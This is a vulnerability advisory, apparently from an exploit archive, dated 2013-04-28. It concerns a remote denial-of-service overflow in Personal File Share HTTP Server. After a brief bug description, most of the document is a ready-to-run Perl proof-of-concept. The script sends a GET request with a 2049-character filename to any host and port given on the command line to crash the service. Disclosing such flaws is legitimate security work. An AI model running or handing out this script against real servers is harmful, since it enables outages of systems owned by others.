Personal File Share HTTP Server Remote Overflow

`Title: Personal File Share HTTP Server Remote Overflow Vulnerability  
  
Software : Personal File Share HTTP Server  
  
Software Version : UNKNOWN  
  
Vendor: http://www.srplab.com/  
  
Vulnerability Published : 2013-04-28  
  
Vulnerability Update Time :  
  
Status :   
  
Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)  
  
Bug Description :  
Personal file sharing is a convenient tool for sharing files with other mobile, tablet, or pc. It supports all web browsers.  
Other machines can browse or download files using web browser easily.  
This software is possible for remote attackers to send a request with GET command and a long string as filename under root dictionary  
that will lead to a Denial Of Service flaw for the HTTP service.  
  
Proof Of Concept :  
-----------------------------------------------------------  
#!/usr/bin/perl -w  
#Personal File Share HTTP Server Remote Overflow Vulnerability Exploit  
#Written by [email protected]  
use IO::Socket;  
$|=1;  
$host=shift || die "$0 \$host \$port\n";  
$port=shift || die "$0 \$host \$port\n";  
$evil = 'A'x2049;  
$payload =   
"GET /"."$evil"." HTTP/1.0\r\n".  
"Accept: */*\r\n".  
"Accept-Language: zh-cn\r\n".  
"UA-CPU: x86\r\n".  
"Accept-Encoding: gzip, deflate\r\n".  
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)\r\n".  
"Host: "."$host:$port"."\r\n".  
"Connection: Keep-Alive\r\n\r\n";  
print "Launch Attack ... ";  
$sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n";  
if(defined($sock1)){  
$sock1->send("$payload", 0);  
$sock1->close;  
}  
print "Finish!\n";  
exit(1);  
-----------------------------------------------------------  
  
Credits : This vulnerability was discovered by demonalex(at)163(dot)com  
mail: demonalex(at)163(dot)com / [email protected]  
Independent Researcher  
DBAPPSecurity Co.,Ltd./Hong Kong PolyU  
`